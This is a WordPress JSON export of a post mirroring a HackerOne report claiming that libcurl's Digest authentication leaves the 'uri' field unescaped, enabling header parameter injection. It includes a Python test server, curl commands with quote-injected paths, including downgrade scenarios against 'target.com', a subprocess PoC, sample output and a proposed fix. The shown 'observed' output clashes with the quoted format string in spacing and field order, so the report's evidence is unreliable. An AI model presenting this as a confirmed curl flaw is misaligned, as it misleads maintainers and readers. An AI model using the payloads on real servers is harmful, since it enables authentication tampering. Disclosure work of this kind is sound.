{"id":35640,"date":"2026-01-14T04:37:45","date_gmt":"2026-01-14T04:37:45","guid":{"rendered":"http:\/\/localhost\/?p=35640"},"modified":"2026-01-14T04:37:45","modified_gmt":"2026-01-14T04:37:45","slug":"curl-digest-authentication-header-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=35640","title":{"rendered":"curl: Digest Authentication Header Injection_H1:3508799"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-14T10:28:08&#8243;,&#8221;description&#8221;:&#8221;## Summary\\nThe Digest authentication implementation in `libcurl` fails to properly escape the `uri` parameter in the `Authorization` header. While other parameters like `username`, `realm`, and `nonce` are correctly escaped using `auth_digest_string_quoted()`, the `uri` is inserted raw into the header. This allows an attacker who can control the request URI to inject additional parameters into the HTTP `Authorization` header, potentially bypassing security controls or causing protocol confusion.\\n\\n## Affected Component\\n- **File:** `lib\/vauth\/digest.c`\\n- **Function:** `auth_create_digest_http_message`\\n- **Lines:** 867-897\\n\\n## Vulnerability Details\\n\\n### Root Cause\\nIn `lib\/vauth\/digest.c`, the Digest authentication response is constructed using `curl_maprintf`. The function properly escapes most parameters but fails to escape the `uri` parameter:\\n\\n&#8220;`c\\n\/* lib\/vauth\/digest.c:867-882 *\/\\nif(digest-\\u003eqop) {\\n  response = curl_maprintf(\\&#8221;username=\\\\\\&#8221;%s\\\\\\&#8221;, \\&#8221;\\n                           \\&#8221;realm=\\\\\\&#8221;%s\\\\\\&#8221;, \\&#8221;\\n                           \\&#8221;nonce=\\\\\\&#8221;%s\\\\\\&#8221;, \\&#8221;\\n                           \\&#8221;uri=\\\\\\&#8221;%s\\\\\\&#8221;, \\&#8221;      \/\/ \\u003c- VULNERABLE: uri not escaped\\n                           \\&#8221;cnonce=\\\\\\&#8221;%s\\\\\\&#8221;, \\&#8221;\\n                           \\&#8221;nc=%08x, \\&#8221;\\n                           \\&#8221;qop=%s, \\&#8221;\\n                           \\&#8221;response=\\\\\\&#8221;%s\\\\\\&#8221;\\&#8221;,\\n                           userp_quoted,       \/\/ \\u003c- username IS escaped\\n                           realm_quoted,       \/\/ \\u003c- realm IS escaped\\n                           nonce_quoted,       \/\/ \\u003c- nonce IS escaped\\n                           uripath,            \/\/ \\u003c- uri NOT escaped\\n                           digest-\\u003ecnonce,\\n                           digest-\\u003enc,\\n                           digest-\\u003eqop,\\n                           request_digest);\\n}\\n&#8220;`\\n\\nCompare this to how `username` is handled:\\n\\n&#8220;`c\\n\/* lib\/vauth\/digest.c:835-843 *\/\\nuserp_quoted = auth_digest_string_quoted(userp);\\nif(!userp_quoted)\\n  return CURLE_OUT_OF_MEMORY;\\n&#8220;`\\n\\nThe `auth_digest_string_quoted()` function (lines 151-180) properly escapes double quotes and backslashes:\\n\\n&#8220;`c\\nstatic char *auth_digest_string_quoted(const char *source)\\n{\\n  char *dest;\\n  const char *s = source;\\n  size_t n = 1; \/* null-terminator *\/\\n  \\n  \/* Calculate size needed *\/\\n  while(*s) {\\n    ++n;\\n    if(*s == &#8216;\\&#8221;&#8216; || *s == &#8216;\\\\\\\\&#8217;) {\\n      ++n;  \/\/ Need extra byte for escape character\\n    }\\n    ++s;\\n  }\\n  \\n  dest = curlx_malloc(n);\\n  if(dest) {\\n    char *d = dest;\\n    s = source;\\n    while(*s) {\\n      if(*s == &#8216;\\&#8221;&#8216; || *s == &#8216;\\\\\\\\&#8217;) {\\n        *d++ = &#8216;\\\\\\\\&#8217;;  \/\/ Add escape character\\n      }\\n      *d++ = *s++;\\n    }\\n    *d = &#8216;\\\\0&#8217;;\\n  }\\n  \\n  return dest;\\n}\\n&#8220;`\\n\\n### Attack Mechanism\\nIf an attacker can control the URI path to include a double quote character, they can:\\n1. Terminate the `uri` field early\\n2. Inject arbitrary parameters into the Digest header\\n3. Potentially override security-critical parameters like `qop` or `algorithm`\\n\\n## Proof of Concept\\n\\n### Prerequisites\\n- curl with Digest authentication support\\n- Python 3.x for the test server\\n\\n### Step 1: Create the Test Server\\n\\nSave this as `digest_server.py`:\\n\\n&#8220;`python\\n\\nimport socket\\nimport threading\\nimport time\\n\\ndef start_server(port=8081):\\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n    s.bind((&#8216;127.0.0.1&#8217;, port))\\n    s.listen(1)\\n    print(f\\&#8221;[*] Digest test server listening on port {port}\\&#8221;)\\n    \\n    while True:\\n        try:\\n            conn, addr = s.accept()\\n            data = conn.recv(4096).decode(&#8216;utf-8&#8242;, errors=&#8217;replace&#8217;)\\n            \\n            if \\&#8221;Authorization: Digest\\&#8221; not in data:\\n                # Send 401 challenge\\n                response = (\\n                    \\&#8221;HTTP\/1.1 401 Unauthorized\\\\r\\\\n\\&#8221;\\n                    \\&#8221;WWW-Authenticate: Digest realm=\\\\\\&#8221;test\\\\\\&#8221;, \\&#8221;\\n                    \\&#8221;nonce=\\\\\\&#8221;dcd98b7102dd2f0e8b11d0f600bfb0c093\\\\\\&#8221;, \\&#8221;\\n                    \\&#8221;qop=\\\\\\&#8221;auth\\\\\\&#8221;\\\\r\\\\n\\&#8221;\\n                    \\&#8221;Content-Length: 0\\\\r\\\\n\\&#8221;\\n                    \\&#8221;\\\\r\\\\n\\&#8221;\\n                )\\n                conn.sendall(response.encode())\\n                print(\\&#8221;[*] Sent 401 challenge\\&#8221;)\\n            else:\\n                # Extract and display Authorization header\\n                print(\\&#8221;\\\\n=== RECEIVED REQUEST ===\\&#8221;)\\n                for line in data.split(&#8216;\\\\r\\\\n&#8217;):\\n                    if line.startswith(&#8216;Authorization:&#8217;):\\n                        print(f\\&#8221;\\\\n{line}\\\\n\\&#8221;)\\n                        \\n                        # Highlight the injection\\n                        if &#8216;injected=&#8217; in line:\\n                            print(\\&#8221;[!] INJECTION DETECTED!\\&#8221;)\\n                            print(\\&#8221;[!] The &#8216;injected&#8217; parameter should NOT be in the header\\&#8221;)\\n                \\n                # Send 200 OK\\n                response = \\&#8221;HTTP\/1.1 200 OK\\\\r\\\\nContent-Length: 2\\\\r\\\\n\\\\r\\\\nOK\\&#8221;\\n                conn.sendall(response.encode())\\n                \\n            conn.close()\\n        except Exception as e:\\n            print(f\\&#8221;[-] Error: {e}\\&#8221;)\\n\\nif __name__ == \\&#8221;__main__\\&#8221;:\\n    start_server()\\n&#8220;`\\n\\n### Step 2: Start the Server\\n\\n&#8220;`bash\\npython digest_server.py\\n&#8220;`\\n\\n### Step 3: Execute the Attack\\n\\nIn another terminal, run curl with a malicious path containing a double quote:\\n\\n&#8220;`bash\\ncurl -v &#8211;path-as-is &#8211;digest &#8216;http:\/\/user:pass@127.0.0.1:8081\/index.html\\&#8221;,injected=\\&#8221;true&#8217;\\n&#8220;`\\n\\n**Important:** The `&#8211;path-as-is` flag is required to prevent curl from normalizing the path.\\n\\n### Step 4: Observe the Result\\n\\nThe server will display output similar to:\\n\\n&#8220;`\\n[*] Sent 401 challenge\\n\\n=== RECEIVED REQUEST ===\\n\\nAuthorization: Digest username=\\&#8221;user\\&#8221;,realm=\\&#8221;test\\&#8221;,nonce=\\&#8221;dcd98b7102dd2f0e8b11d0f600bfb0c093\\&#8221;,uri=\\&#8221;\/index.html\\&#8221;,injected=\\&#8221;true\\&#8221;,cnonce=\\&#8221;NjE3ZjJkMzQwYzQyMQ==\\&#8221;,nc=00000001,response=\\&#8221;6629fae49393a05397450978507c4ef1\\&#8221;,qop=\\&#8221;auth\\&#8221;\\n\\n[!] INJECTION DETECTED!\\n[!] The &#8216;injected&#8217; parameter should NOT be in the header\\n&#8220;`\\n\\n### Analysis of the Injected Header\\n\\nThe malicious path `\/index.html\\&#8221;,injected=\\&#8221;true` causes the following header structure:\\n\\n&#8220;`\\nuri=\\&#8221;\/index.html\\&#8221;,injected=\\&#8221;true\\&#8221;\\n&#8220;`\\n\\nInstead of the expected:\\n\\n&#8220;`\\nuri=\\&#8221;\/index.html\\\\\\&#8221;,injected=\\\\\\&#8221;true\\&#8221;\\n&#8220;`\\n\\nThis demonstrates that:\\n1. The double quote in the path terminates the `uri` field\\n2. The attacker-controlled string `injected=\\&#8221;true\\&#8221;` is inserted as a new parameter\\n3. The Digest authentication header is now malformed with an injected parameter\\n\\n### Alternative PoC (Python Script)\\n\\n&#8220;`python\\nimport subprocess\\n\\n# Malicious URL with quote injection\\nurl = &#8216;http:\/\/user:pass@127.0.0.1:8081\/index.html\\&#8221;,injected=\\&#8221;true&#8217;\\n\\n# Execute curl\\ncmd = [&#8216;curl&#8217;, &#8216;-v&#8217;, &#8216;&#8211;path-as-is&#8217;, &#8216;&#8211;digest&#8217;, url]\\nresult = subprocess.run(cmd, capture_output=True, text=True)\\n\\nprint(\\&#8221;=== STDERR (includes headers) ===\\&#8221;)\\nprint(result.stderr)\\n\\n# Look for the injection\\nif &#8216;injected=\\&#8221;true\\&#8221;&#8216; in result.stderr:\\n    print(\\&#8221;\\\\n[!] VULNERABILITY CONFIRMED\\&#8221;)\\n    print(\\&#8221;[!] The injected parameter appears in the Authorization header\\&#8221;)\\nelse:\\n    print(\\&#8221;\\\\n[*] Injection not detected in output\\&#8221;)\\n&#8220;`\\n\\n## Impact\\n\\n## Impact\\n\\n### Security Implications\\n\\n1. **Authentication Parameter Manipulation**\\n   &#8211; Attacker can inject `qop=\\&#8221;none\\&#8221;` to downgrade authentication\\n   &#8211; Inject `algorithm=\\&#8221;MD5\\&#8221;` to force weaker algorithms\\n   &#8211; Add custom parameters that might confuse proxies or servers\\n\\n2. **Protocol Confusion**\\n   &#8211; Malformed headers may cause different parsing by intermediaries\\n   &#8211; Could lead to request smuggling in certain proxy configurations\\n\\n3. **Cache Poisoning**\\n   &#8211; Injected parameters might affect cache keys\\n   &#8211; Could lead to serving wrong content to users\\n\\n4. **Logging and Monitoring Bypass**\\n   &#8211; Security tools parsing the header may be confused\\n   &#8211; Injected parameters might not be logged correctly\\n\\n### Attack Scenarios\\n\\n**Scenario 1: QoP Downgrade**\\n&#8220;`bash\\ncurl &#8211;digest &#8216;http:\/\/user:pass@target.com\/path\\&#8221;,qop=\\&#8221;none&#8217;\\n&#8220;`\\nResult: `uri=\\&#8221;\/path\\&#8221;,qop=\\&#8221;none\\&#8221;,cnonce=&#8230;` &#8211; potentially downgrades authentication\\n\\n**Scenario 2: Algorithm Manipulation**\\n&#8220;`bash\\ncurl &#8211;digest &#8216;http:\/\/user:pass@target.com\/path\\&#8221;,algorithm=\\&#8221;MD5&#8217;\\n&#8220;`\\nResult: Forces MD5 algorithm even if server supports stronger options\\n\\n## Recommendation\\n\\n### Fix\\nUpdate `lib\/vauth\/digest.c` to escape the `uri` parameter using `auth_digest_string_quoted()`:\\n\\n&#8220;`c\\n\/* lib\/vauth\/digest.c &#8211; FIXED VERSION *\/\\n\\n\/\/ Add this before constructing the response\\nchar *uri_quoted = auth_digest_string_quoted(uripath);\\nif(!uri_quoted) {\\n  curlx_free(nonce_quoted);\\n  curlx_free(realm_quoted);\\n  curlx_free(userp_quoted);\\n  return CURLE_OUT_OF_MEMORY;\\n}\\n\\nif(digest-\\u003eqop) {\\n  response = curl_maprintf(\\&#8221;username=\\\\\\&#8221;%s\\\\\\&#8221;, \\&#8221;\\n                           \\&#8221;realm=\\\\\\&#8221;%s\\\\\\&#8221;, \\&#8221;\\n                           \\&#8221;nonce=\\\\\\&#8221;%s\\\\\\&#8221;, \\&#8221;\\n                           \\&#8221;uri=\\\\\\&#8221;%s\\\\\\&#8221;, \\&#8221;      \/\/ Now using escaped version\\n                           \\&#8221;cnonce=\\\\\\&#8221;%s\\\\\\&#8221;, \\&#8221;\\n                           \\&#8221;nc=%08x, \\&#8221;\\n                           \\&#8221;qop=%s, \\&#8221;\\n                           \\&#8221;response=\\\\\\&#8221;%s\\\\\\&#8221;\\&#8221;,\\n                           userp_quoted,\\n                           realm_quoted,\\n                           nonce_quoted,\\n                           uri_quoted,         \/\/ \\u003c- FIXED: using escaped uri\\n                           digest-\\u003ecnonce,\\n                           digest-\\u003enc,\\n                           digest-\\u003eqop,\\n                           request_digest);\\n}\\n\\n\/\/ Don&#8217;t forget to free\\ncurlx_free(uri_quoted);\\n&#8220;`\\n\\n### Verification\\nAfter applying the fix, the PoC should result in a properly escaped header:\\n\\n&#8220;`\\nuri=\\&#8221;\/index.html\\\\\\&#8221;,injected=\\\\\\&#8221;true\\&#8221;\\n&#8220;`\\n\\nThe double quotes will be escaped and the injection will fail.&#8221;,&#8221;published&#8221;:&#8221;2026-01-13T13:30:37&#8243;,&#8221;modified&#8221;:&#8221;2026-01-14T10:02:17&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: Digest Authentication Header Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3508799&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3508799&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-14T10:28:08&#8243;,&#8221;description&#8221;:&#8221;## Summary\\nThe Digest authentication implementation in `libcurl` fails to properly escape the `uri` parameter in the `Authorization` header. While other parameters like `username`, `realm`, and&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-35640","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: Digest Authentication Header Injection_H1:3508799 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=35640\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: Digest Authentication Header Injection_H1:3508799 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-14T10:28:08&#8243;,&#8221;description&#8221;:&#8221;## SummarynThe Digest authentication implementation in `libcurl` fails to properly escape the `uri` parameter in the `Authorization` header. While other parameters like `username`, `realm`, and...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=35640\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-14T04:37:45+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35640#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35640\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: Digest Authentication Header Injection_H1:3508799\",\"datePublished\":\"2026-01-14T04:37:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35640\"},\"wordCount\":1437,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=35640#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35640\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35640\",\"name\":\"curl: Digest Authentication Header Injection_H1:3508799 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-14T04:37:45+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35640#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=35640\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35640#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: Digest Authentication Header Injection_H1:3508799\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: Digest Authentication Header Injection_H1:3508799 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=35640","og_locale":"en_US","og_type":"article","og_title":"curl: Digest Authentication Header Injection_H1:3508799 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-14T10:28:08&#8243;,&#8221;description&#8221;:&#8221;## SummarynThe Digest authentication implementation in `libcurl` fails to properly escape the `uri` parameter in the `Authorization` header. While other parameters like `username`, `realm`, and...","og_url":"https:\/\/zero.redgem.net\/?p=35640","og_site_name":"zero redgem","article_published_time":"2026-01-14T04:37:45+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=35640#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=35640"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: Digest Authentication Header Injection_H1:3508799","datePublished":"2026-01-14T04:37:45+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=35640"},"wordCount":1437,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=35640#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=35640","url":"https:\/\/zero.redgem.net\/?p=35640","name":"curl: Digest Authentication Header Injection_H1:3508799 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-14T04:37:45+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=35640#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=35640"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=35640#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: Digest Authentication Header Injection_H1:3508799"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/35640","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=35640"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/35640\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=35640"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=35640"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=35640"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}